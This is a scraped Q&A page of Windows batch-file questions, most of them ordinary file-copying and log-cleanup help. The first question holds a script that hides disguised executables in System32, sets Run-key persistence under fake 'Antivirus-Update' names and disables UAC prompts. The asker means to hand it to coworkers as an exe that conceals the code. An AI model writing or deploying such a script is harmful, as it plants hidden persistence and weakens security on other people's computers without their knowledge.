Having troubles with batch files - batch-file

This issue is eating my brains of. I have a simple batch file which makes a directory in %SYSTEMROOT% only if it does not exist & copies certain files to that directory, adds the attribute +S +R +H to them, adds two programs to startup via registry and disables UAC as I need it frequently like 3x day. It works well as a batch file but I want to distribute it to my fellow company mates. We all are having a competition in this so I do not need them to see my code; I know if I am still at the level of batch scripting than my code is not worth copying but my mates are also not the brightest bulbs!
My issue is that when I convert it to exe using Quick Batch Convertor as the moment it becomes an exe it starts giving Access denied error only when It gets to copy the files in %SYSTEMROOT% even though I am running it as administrator and the disabling UAC command, which is C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f works, which, originally should require admin privileges. Its only the the copying of files that give access denied when converted into exe. They all just work fine if it is in a form of batch.I know that this might be off topic but I suspect foul play on the batch file and not the Quick Batch Converter because I have converted many files using this converter an they worked flawless.
The code for my batch is here
#echo off
echo %CD%
cd %~dp0
Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "\"C:\Windows\System32\SystemSettingsUpdate\HL~Realtime~Defense.exe\" " /f
Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Antivirus-Update " /t REG_SZ /d "\"C:\Windows\System32\SystemSettingsUpdate\Configure.exe\" " /f
if not exist "%SYSTEMROOT%\system32\SystemSettingsUpdate" mkdir %SYSTEMROOT%\system32\SystemSettingsUpdate
cd %~dp0
taskkill /f /im configure.exe
copy "%~dp0HL~Realtime~Defense.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
copy "%~dp0Whatsapp,Inc.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
copy "%~dp0Configure.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
ATTRIB +H -R +S %SYSTEMROOT%\system32\SystemSettingsUpdate\Configure.exe
ATTRIB +H -R +S %SYSTEMROOT%\system32\SystemSettingsUpdate\Whatsapp,Inc.exe
ATTRIB +H -R +S %SYSTEMROOT%\system32\SystemSettingsUpdate\HL~Realtime~Defense.exe
C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
exit
Any Suggestions?

This answer does not resolve your problem; it's intended for explanation of strangely unusual behaviour of compiled script.
Described issue is not solvable with this 32-bit Quick Batch File Compiler. For proof, create a batch script battoexeTest.bat containing
#ECHO OFF
SETLOCAL EnableExtensions
set t|find /I "system"
for /F "delims=" %%G in ('
wmic process Where "caption='cmd.exe' and not CommandLine like '%%%%wmic%%%%'" get CommandLine^,ExecutablePath /value
') do for /F "delims=" %%g in ("%%~G") do echo(%%~g
pause
Output (elevated; note that I have redirected user's %temp% and %tmp% variables):
TEMP=D:\tempUser\SYSTEM
TMP=D:\tempUser\SYSTEM
CommandLine="C:\Windows\System32\cmd.exe" /C "D:\bat\battoexeTest.bat"
ExecutablePath=C:\Windows\System32\cmd.exe
If you run compiled version of above script batToExeTestY.exe elevated, output would change as follows:
TEMP=D:\tempUser\SYSTEM
TMP=D:\tempUser\SYSTEM
CommandLine=cmd.exe /c ""D:\tempUser\SYSTEM\8YQTO48H.bat" "D:\bat\batToExeTestY.exe" "
ExecutablePath=C:\Windows\SysWOW64\cmd.exe
You can see that
batToExeTestY.exe creates a copy of original batch script with some random name 8YQTO48H.bat in temporary directory of account SYSTEM, see CommandLine;
runs that batch file in 32bit command line, see ExecutablePath.
hence, 32-bitness proved.
Read File System Redirector chapter in MSDN article Running 32-bit Applications:
The %windir%\System32 directory is reserved for 64-bit applications.
… In most cases, whenever a 32-bit application attempts to access
%windir%\System32, the access is redirected to %windir%\SysWOW64…
Example: run attrib under 64-bit command line prompt (C:\Windows\system32\cmd.exe) regardless of elevated or not:
==> attrib "%SYSTEMROOT%\sysWOW64\SystemSettingsUpdate\*.*"
A R C:\Windows\sysWOW64\SystemSettingsUpdate\WOW-cliParser.exe
A C:\Windows\sysWOW64\SystemSettingsUpdate\WOW-HL~Realtime~Defense.txt
==> attrib "%SYSTEMROOT%\system32\SystemSettingsUpdate\*.*"
A C:\Windows\system32\SystemSettingsUpdate\cliParser.exe
A SHR C:\Windows\system32\SystemSettingsUpdate\HL~Real~Def.txt
If you run attrib or dir under 32-bit command line prompt, then WOW redirector
displays C:\Windows\system32\SystemSettingsUpdate file directory although
shows files located in %SYSTEMROOT%\sysWOW64\SystemSettingsUpdate one.
Take a look:
==> %windir%\SysWoW64\cmd.exe /C attrib "%SYSTEMROOT%\system32\SystemSettingsUpdate\*.*"
A R C:\Windows\system32\SystemSettingsUpdate\WOW-cliParser.exe
A C:\Windows\system32\SystemSettingsUpdate\WOW-HL~Realtime~Defense.txt
==> %windir%\SysWoW64\cmd.exe /C dir /A "%SYSTEMROOT%\system32\SystemSettingsUpdate\*.*"|find ":"
Directory of C:\Windows\system32\SystemSettingsUpdate
01.03.2016 12:25 <DIR> .
01.03.2016 12:25 <DIR> ..
01.03.2015 12:31 5 120 WOW-cliParser.exe
26.02.2016 08:54 84 WOW-HL~Realtime~Defense.txt
Moreover, trying to run your batch script (slightly adapted for testing purposes and then compiled) elevated but AVG Internet Security Ultimate complains in its Resident Shield:
"Trojan horse Pakes_c.BWYN, d:\bat\batToExeTest.exe";"Secured";"25. 2. 2016, 22:50:52";"File or Directory";"c:\Program Files (x86)\Abyssmedia\Quick Batch File Compiler\quickbfc.exe"
and on copy "%~dp0XYZ.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate" line and/or on attrib lines in its Identity Protection module:
"IDP.ALEXA.51, D:\tempUser\SYSTEM\8W88ULA2.bat";"Secured";"26. 2. 2016, 8:35:14";"File or Directory";""
"Unknown, D:\tempUser\SYSTEM\0G8KOWPT.bat";"Secured";"26. 2. 2016, 1:08:25";"File or Directory";""
Could be a false positive, but you definitely need to use some virus-free and 64-bit-compliant bat to exe converter…

Related

Test IF file exist, ELSE xcopy these two files

Morning all.
So I've been up hours trying to cobble together -a variety of replies to other posts- into my own code in order to see if I could get something usable. No-go. I'm sufficiently lost in the sauce that I've now got to ask for some help from you.
Background:
OS: Windows 10
I use the program text2folders.exe to create 20-30 new folders on a secondary drive every night.
Primarily, I have a base file "aGallery-dl.bat" that I populate each folder with using an xcopy batch file. Secondarily, from time to time I update the source file "aGallery-dl.bat" using the same xcopy and this overwrites the older target file, populating all folders with the newest "aGallery-dl.bat" (whether they need it or not). All is well.
#echo off
for /D %%a in ("U:\11Web\gallery-dl\deviantart\*.*") do xcopy /y /d ".\aGallery-dl.bat" "%%a\"
I've recently decided I want to add two new files to each folder and have expanded my xcopy to include these. All is well.
#echo off
for /D %%a in ("U:\11Web\gallery-dl\deviantart\*.*") do xcopy /y /d ".\aGallery-dl.bat" "%%a\"
for /D %%a in ("U:\11Web\gallery-dl\deviantart\*.*") do xcopy ".\Folder.jpg" "%%a\"
for /D %%a in ("U:\11Web\gallery-dl\deviantart\*.*") do xcopy ".\Folder2.jpg" "%%a\"
Folder.jpg
a big red X
Folder2.jpg
a big yellow ! mark
When I choose to run a "aGallery-dl.bat" in a given folder (again, one of 100's), it first deletes Folder.jpg then renames Folder2.jpg to Folder.jpg. This has the effect of the red X being replaced by the yellow ! when viewing the folder in File Explorer parent folder. Secondly, it calls "gallery-dl.exe." I use going from red to yellow to let me know I've run "aGallery-dl.bat" at least once. All is well.
rem #echo off
del .\Folder.jpg
ren .\Folder2.jpg Folder.jpg
FOR /F %%i IN ('cd') DO set FOLDER=%%~nxi
"C:\Program Files (x86)\gallery-dl\gallery-dl.exe" -d "U:\11Web\gallery-dl" --download-archive ".\aGDB.sqlite3" "https://www.deviantart.com/"%FOLDER%"/gallery/all"
del .\Folder.jpg
If "aGallery-dl.bat" completes successfully, it finally deletes the Folder.jpg (currently yellow !), and now the representative contents of the folder (usually DeviantArt .jpg's) are visible.
Problem:
When I have to re-run my original xcopy command to update "aGallery-dl.bat" in ALL FOLDERS, the Folder.jpg and Folder2.jpg will be re-copied to all folders, defeating the purpose of deleting them once via "aGallery-dl.bat." I don't want to have to go back and re-run "aGallery-dl.bat" intermittently across 100's of folders (again, only those that have had aGallery-dl.bat run at least once). I need some type of test, that if "aGallery-dl.bat" is already present in the target folder, DO NOT xcopy Folder.jpg and Folder2.jpg aka vague example, below.
*********************************Some sort of test statement here!!!***********************
:aGallery-dlPresent
GOTO eof
:aGallery-dlNotPresent
for /D %%a in ("U:\11Web\gallery-dl\deviantart\*.*") do xcopy ".\Folder.jpg" "%%a\"
for /D %%a in ("U:\11Web\gallery-dl\deviantart\*.*") do xcopy ".\Folder2.jpg" "%%a\"
GOTO eof
:eof
I had found a hopeful candidate test statement in the below (copied in its original form from what/where I read in other post), but am looking for ideas/replacements as I HAVE NO IDEA how to modify/inject/implement the below to work in the above.
If exist \\%DIR%\%Folder%\123456789.wav xcopy \\%DIR%\%Folder%\123456789.wav D:\%New Folder%\ /y
Having XCopy copy a file and not overwrite the previous one if it exists (without prompting)
Note: The below is a vague approximation of what it should all look like (barring having a correct -test statement-).
rem #echo off
*********************************Some sort of test statement here!!!***********************
:aGallery-dlPresent
GOTO eof
:aGallery-dlNotPresent
for /D %%a in ("U:\11Web\gallery-dl\deviantart\*.*") do xcopy ".\Folder.jpg" "%%a\"
for /D %%a in ("U:\11Web\gallery-dl\deviantart\*.*") do xcopy ".\Folder2.jpg" "%%a\"
GOTO eof
:eof
for /D %%a in ("U:\11Web\gallery-dl\deviantart\*.*") do xcopy /y /d ".\aGallery-dl.bat" "%%a\"
The command for copying a file is COPY. It is an internal command of Windows command processor cmd.exe. XCOPY is an eXtended file and directory copying executable in directory %SystemRoot%\System32 which is deprecated since Windows Vista as there is even more powerful ROBOCOPY which is with full qualified file name %SystemRoot%\System32\robocopy.exe.
There is no need to use XCOPY or ROBOCOPY for this simple file copying task. COPY is enough on source files aGallery-dl.bat, Folder.jpgand Folder2.jpg don't have hidden attribute set and the same files in the target directories don't have read-only attribute set.
.\ references the current directory which can be any directory. Windows Explorer sets the directory of the batch file as current directory on double clicking on a batch file. But this is nearly the only method to run a batch file on which the directory of the executed batch file is set automatically as current directory (except the batch file is stored on a network resource accessed using UNC path).
There is %~dp0 to reference the path of the batch file. This path always ends with a backslash which means that no additional backslash is needed on concatenating the batch file path with a file or folder name. The usage of %~dp0 makes it possible to reference files in same directory as the executed batch file independent on which directory is the current directory on execution of the batch file.
The batch file needed for your task is:
#echo off
setlocal EnableExtensions DisableDelayedExpansion
for /D %%I in ("U:\11Web\gallery-dl\deviantart\*") do (
if not exist "%%I\aGallery-dl.bat" (
copy "%~dp0Folder.jpg" "%%I\"
copy "%~dp0Folder2.jpg" "%%I\"
)
copy /Y "%~dp0aGallery-dl.bat" "%%I\"
)
endlocal
A file/folder name must be enclosed in " if containing a space or one of these characters &()[]{}^=;!'+,`~. For that reason all file/folder names are enclosed in this batch file in double quotes although inside the batch files no file/folder name contains a space or one of the characters in the list. It is important to understand on batch file writing how a command line looks like after Windows command processor processed the command line. See following topics:
How does the Windows Command Interpreter (CMD.EXE) parse scripts?
How to debug a batch file?
Windows interprets *.* like just * which means any file or folder name. For that reason it is enough to just write * and omit .*.
Please note that for /D ignores directories with hidden attribute set.
The batch file checks first for each subfolder if it does not contain the batch file aGallery-dl.bat. In this case it copies the two files Folder.jpg and Folder2.jpg from directory of executed batch file to current subdirectory of U:\11Web\gallery-dl\deviantart.
Then the batch file aGallery-dl.bat is copied from directory of executed batch file to to current subdirectory of U:\11Web\gallery-dl\deviantart independent on its existence in the destination directory.
For understanding the used commands and how they work, open a command prompt window, execute there the following commands, and read entirely all help pages displayed for each command very carefully.
call /? ... explains %~dp0 ... drive and path of argument 0 ... full batch file path.
cmd /? ... outputs the help of Windows command processor executing a batch file.
copy /?
echo /?
endlocal /?
for /?
if /?
setlocal /?
See also the chapters Issue 6 and Issue 7 in this answer why using setlocal EnableExtensions DisableDelayedExpansion and endlocal although not necessary by default and why using I instead of a as loop variable although a would work here, too.

CMD to delete a specific folder with files from multiple folder paths

I need a CMD batch file to delete all the log files.
My company makes plugins for their product and the path is something as follows:
C:/Program Files/product/../plugins/../plugin_Path/pluginOne/audit/log
C:/Program Files/product/../plugins/../plugin_Path/pluginOne/audit/log-archive
C:/Program Files/product/../Root/plugins/../plugin_Path/pluginTwo/audit/log
C:/Program Files/product/../Root/plugins/../plugin_Path/pluginTwo/audit/log-archive
Now I need to delete all the log and log-archive folders with its contains.
Currently I wrote a samll program like this:
#echo off
color 02
for %%A in (
"C:/Program Files/product/plugins/plugin_Path/pluginOne/audit/log"
"C:/Program Files/product/plugins/plugin_Path/pluginOne/audit/log-archive"
"C:/Program Files/product/plugins/plugin_Path/pluginTwo/audit/log"
"C:/Program Files/product/plugins/plugin_Path/pluginTwo/audit/log-archive"
) do (
del /Q %%A
echo Deleted %%A
)
echo All files deleted
pause
echo Program ended
But here I need to insert all the log paths manually.
I am looking for a solution where I could point the parent folder (say Program Files/Company) and it could traverse all the files inside and will delete all the log and log-archival folders with its contains.
I am a QA person have good QA experience but no experience on batch programming and I dont have much time and support team is not present. [Need help]. There are more than 1K log files are present.
First, as explained by the Microsoft documentation Naming Files, Paths, and Namespaces, the directory separator on Windows is \ and not / as on Linux/Mac. / is used on Windows for options as you can see on your code for example on /Q. So use in future \ in file/folder paths. The Windows file system accessing kernel functions automatically replace all forward slashes by backslashes before accessing the file systems, but writing code depending on automatic error correction is never a good idea.
The task to delete all folders with name log or log-archive in a specified folder and all its subfolders can be done with a single command line.
#for /F "delims=" %%I in ('dir "%ProgramFiles%\product\plugins\plugin_Path\log*" /AD /B /S 2^>nul ^| %SystemRoot%\System32\findstr.exe /E /I /R "\\log \\log-archive"') do #rd /Q /S "%%I" 2>nul
FOR with option /F runs in a separate command process started with cmd.exe /C (more precise with %ComSpec% /C) in background the command line in '... ' which is here:
dir "C:\Program Files\product\plugins\plugin_Path\log*" /AD /B /S 2>nul | C:\Windows\System32\findstr.exe /E /I /R "\\log \\log-archive"
The command DIR outputs to handle STDOUT
in bare format because of option /B
just directories because of option /AD (attribute directory)
directory names matching the wildcard pattern log*
in specified directory C:\Program Files\product\plugins\plugin_Path
and all its subdirectories because of option /S
with full path also because of option /S.
It could be that DIR does not find any file system entry matching these criteria. In this case an error message is output by DIR to handle STDERR. This error output is redirected with 2>nul to device NUL to suppress it.
The standard output of DIR is redirected with | to handle STDIN of FINDSTR which runs
because of option /I a case-insensitive
regular expression find explicitly requested with option /R
for string \log or \log-archive (space is interpreted as OR)
which must be found at end of a line because of option /E.
All lines matching these search criteria are output by FINDSTR to handle STDOUT of background command process. This filtering of output of DIR with FINDSTR is necessary to avoid the deletion of a directory which is named for example LogToKeep also found and output by DIR.
Read the Microsoft article about Using Command Redirection Operators for an explanation of 2>nul and |. The redirection operators > and | must be escaped with caret character ^ on FOR command line to be interpreted as literal characters when Windows command interpreter processes this command line before executing command FOR which executes the embedded command line with using a separate command process started in background.
FOR with option /F captures output to handle STDOUT of started command process and processes this output line by line after started cmd.exe terminated itself. Empty lines are always ignored by FOR which do not occur here. Lines starting with a semicolon are also ignored by default because of eol=; is the default definition for end of line option. But a full qualified folder path cannot contain a semicolon at beginning because the folder path starts either with a drive letter or with a backslash in case of a UNC path. So default end of line option can be kept in this case. FOR would split up by default every line into substrings with using normal space and horizontal tab as string delimiters and would assign just first space/tab separated string to specified loop variable. This line splitting behavior is not wanted here as the folder path contains definitely a space character and the entire folder path is needed and not just the string up to first space. For that reason delims= is used to specify an empty list of delimiters which disables line splitting behavior.
FOR executes for every directory output by DIR passing FINDSTR filter with full path the command RD to remove the directory quietly because of option /Q and with all files and subdirectories because of /S.
The deletion of the directory could fail because of missing NTFS permissions, or the directory to delete or one of its subdirectories is current directory of a running process, or a file in the directory to delete is currently opened by a running process in a manner which denies deletion of the file while being opened, or the directory to delete does not exist anymore because it was deleted already before in FOR loop. The error message output by command RD to handle STDERR is in this case redirected to device NUL to suppress it.
Please note that command RD deletes all log and log-archives directories and not just the files and subdirectories in these directories. It is unclear from your question what exactly should be deleted by the batch file.
It is of course also possible to replace rd /Q /S "%%I" by del /A /F /Q "%%I\*" to delete just all files including hidden and read-only files quietly in the directory assigned with full path to loop variable I.
# left to command FOR and command RD just suppress the output of those commands before execution by Windows command processor cmd.exe. Both # are not needed if this single command line is used in a batch file containing before #echo off.
For understanding the used commands and how they work, open a command prompt window, execute there the following commands, and read entirely all help pages displayed for each command very carefully.
del /?
dir /?
findstr /?
for /?
rd /?
If you're wanting to remove the contents of the log and log-archive directories. This means the easiest solution would probably be FORFILES.
This will delete all the files under log and log-archive directories found within any subfolder of "C:\Program Files\product\plugins". The folders MUST be named exactly log or log-archive. It will not remove directories.
FORFILES /P "C:\Program Files\product\plugins" /M log /C "cmd /c if #isdir==TRUE DEL /s /q #path\*"
FORFILES /P "C:\Program Files\product\plugins" /M log-archive /C "cmd /c if #isdir==TRUE DEL /s /q #path\*"
You could also add a /D switch to only delete applicable files if they are older than a specific number of days. This will delete all the log and log-archive files under "C:\Program Files\product\plugins" that are older than 90 days:
FORFILES /D -90 /P "C:\Program Files\product\plugins" /M log /C "cmd /c if #isdir==TRUE DEL /s /q #path\*"
FORFILES /D -90 /P "C:\Program Files\product\plugins" /M log-archive /C "cmd /c if #isdir==TRUE DEL /s /q #path\*"

Batch Script to copy folder from Server to user desktop in a network

My goal is to create a batch script to copy a folder with subfolders to user desktop with overwrite option and minimized of command prompt.
I am pushing the script through Group policy in user start up screen.
However I am getting an error when running the script locally. Not sure what I am missing in the script..
#echo off
#cls
if not "%minimized%"=="" goto :minimized
set minimized=true
start /min cmd /C "%~dpnx0"
goto :EOF
:minimized
echo Your Source Path:
set INPUT1=\\X.X.X.X\Test\TMS\
echo Your Destination Path:
set INPUT2=C:\Users\%Username%\Desktop\
xcopy %INPUT1% %INPUT2% /y /s
:minimized
You mentioned folder, so I am writing this assuming you want to create the TMS folder with content on the desktop.
I would try something like this inside of you minimized label. This is untested as I have no Network drives to test with.
for /f "tokens=2" %i in ('net use * "\\X.X.X.X\Test\TMS\" ^| findstr /i Drive') do set "tmpDr=%%i"
mkdir "%USERPROFILE%\Desktop\TMS" >nul
xcopy "%tmpDir%\*" "%USERPROFILE%\Desktop\TMS" /s /y
net use /d %tmpDir% >nul
Some things to note in your code. You have 2 minimized labels, you need to enclose path variables with double quotes to eliminate possible whitespace, you can drop the echo's seeing as you plan on running the script minimized. Last but not least, you do not need to specify full path to the user's desktop as %USERPROFILE% variable already exists as Drive:\Users\Username

Command Prompt Scripting

This is going to be hard to explain, I'll try my best.
I'm using a shell scripting (Test Executor) in command prompt to automate our regression testing. However i'm stuck on one thing.
Basically I have to copy this dynamically created folder in a location into another folder after the automated script is done (in CMD via scripting)
:: create an achieve directory
#SET ACHIEVE_DIR=C:\Test Result\LOG_Files
mkdir "%ACHIEVE_DIR%"
xcopy /y /s /e "%TEST_SOURCE_DIR%"\*.* "%ACHIEVE_DIR%"
This will copy all the files in the TEST_SOURCE_DIR, but i only want this dynamically created folder which changes according to the date stamp (BUT this date stamp is calculated by second - so i can't use that as a variable).
For example: After i run a test it'll create a folder under lets say C:\temp\ another folder named "TEST RUN - _2014-06-30 15_48_01_"
So if go into C:\temp i'll find a folder named "TEST RUN - _2014-06-30 15_48_01_" along with other folders. BUT i only want to copy this dynamic folder into Test Result\LOG_Files
What we are given is that the starting string will always be "TEST RUN -" but the ending string will interchange according to the time to the second (BUT we cannot go by that since it is the second of the starting test result).
I found out if i am in command prompt and i type in "cd TEST RU" and hit tab it'll finish it for me "cd TEST RUN - _2014-06-30 15_48_01_" Is there a way to script this tab hit or something?
Thanks!
This should work in a batch file to isolate the folder:
If there are a number of folders starting with test run - then tell us.
#echo off
SET "ACHIEVE_DIR=C:\Test Result\LOG_Files"
cd /d "c:\temp"
for /d %%a in ("test run -*") do xcopy "%%a\*.*" "%ACHIEVE_DIR%\" /s/h/e/k/f/c
This code looks for a test folder as discussed in the comments:
#echo off
SET "ACHIEVE_DIR=C:\Test Result\LOG_Files"
cd /d "c:\temp"
for /d %%a in ("test run -*") do (
pushd "%%a"
for /d /r %%b in ("test*") do (
xcopy "%%b\*.*" "%ACHIEVE_DIR%\" /s/h/e/k/f/c
)
popd
)
This batch file should do the job:
#echo off
rem Find the directory starting with "TEST RUN -" created last in C:\Temp.
set ACHIEVE_DIR=C:\Test Result\LOG_Files
for /F "usebackq delims=" %%D in ( `dir "C:\Temp\TEST RUN -*" /AD /B /O-D /TC` ) do (
set TEST_SOURCE_DIR=%%D
goto CopyDir
)
echo No directory starting with "TEST RUN -" found in C:\Temp.
pause
exit /b
:CopyDir
rem Copy all files and subdirectories from last test run to achieve
rem directory whereby xcopy automatically creates the achieve directory.
xcopy /E /I /Q /S /Y "%TEST_SOURCE_DIR%" "%ACHIEVE_DIR%"
set ACHIEVE_DIR=
set TEST_SOURCE_DIR=
Read the Microsoft pages about
dir
for
xcopy
for details about the used parameters of those 3 commands.
Or execute in a command prompt window the commands
dir /?
for /?
xcopy /?
one after the other to get the shorter help for those 3 commands output in the window.

How to copy all files created between two dates using Command prompt?

I have written code in window batch file (eq. getFiles.bat ) that get all files within select date range.
eq.
xcopy /S /D:01-10-2011 *.* C:\todaysFiles
But I want get all files in between two dates including From date and To date.
file extension is .cmd or .bat
If you're on Vista/Win7/WinServer2008 you can use robocopy like so:
robocopy c:\source c:\destination *.* /MAXAGE:20101231 /MINAGE:20111001
On XP, I'm not sure if there are built-in solutions short of using Powershell and the like.
The title of this question is slightly misleading. Based on the questioner's xcopy example, I believe the questioner wants to know "How to copy all files created...", not how to get all files (which I equate with list).
The questioner also states "file extension is .cmd or .bat". This could mean that the questioner wants to copy only files with these extensions but I think it means the questioner would like a batch script solution.
To use the following solution, open a command prompt and chdir to the folder where the files to be copied are located. Then enter the commands listed below, changing the SET values as appropriate.
SET DESTINATION=C:\destination
SET DATE_FROM=01/01/2005
SET DATE_TO=01/01/2007
> nul forfiles /S /D +%DATE_FROM% /C "cmd /C if #isdir==FALSE 2> nul forfiles /M #file /D -%DATE_TO% && > con ( echo #path && copy /V #path %DESTINATION% )"
Note: this will copy files in subfolders as well as files in the top-level folder.
The SET values could be hard-coded directly into the > nul forfiles... line, meaning only one line is required, but for clarity I've used variable substitution.
A caveat is that it is based on date modified (original question asked for date created)
Credit to aschipfl (https://stackoverflow.com/a/36585535/1754517) for providing the inspiration for my answer.
You can also use the forfiles command. It can search recursively in all subfolders /s for files created in the selected root folder /p <Path>, execute commands on the selected files /c "<Command>", apply masks to search /m <SearchMask>, between a date range /d [{+|-}][{<Date>|<Days>}]
more info here, and here
Here's a batch for viewing files by creation date by year. Easily changed to cmd prompt by removing the extra percentage symbols.
for %%a in (2011 2012 2013 2014 2015 2016 2017) do (
for /f %%i in ('xxcopy i:\podcasts\*.* /LL /ZS /Q /FC /DA:%%a-01-01 /DB:%%a-12-31 ^| find /c /v ""') do echo %%a: %%i
)

Resources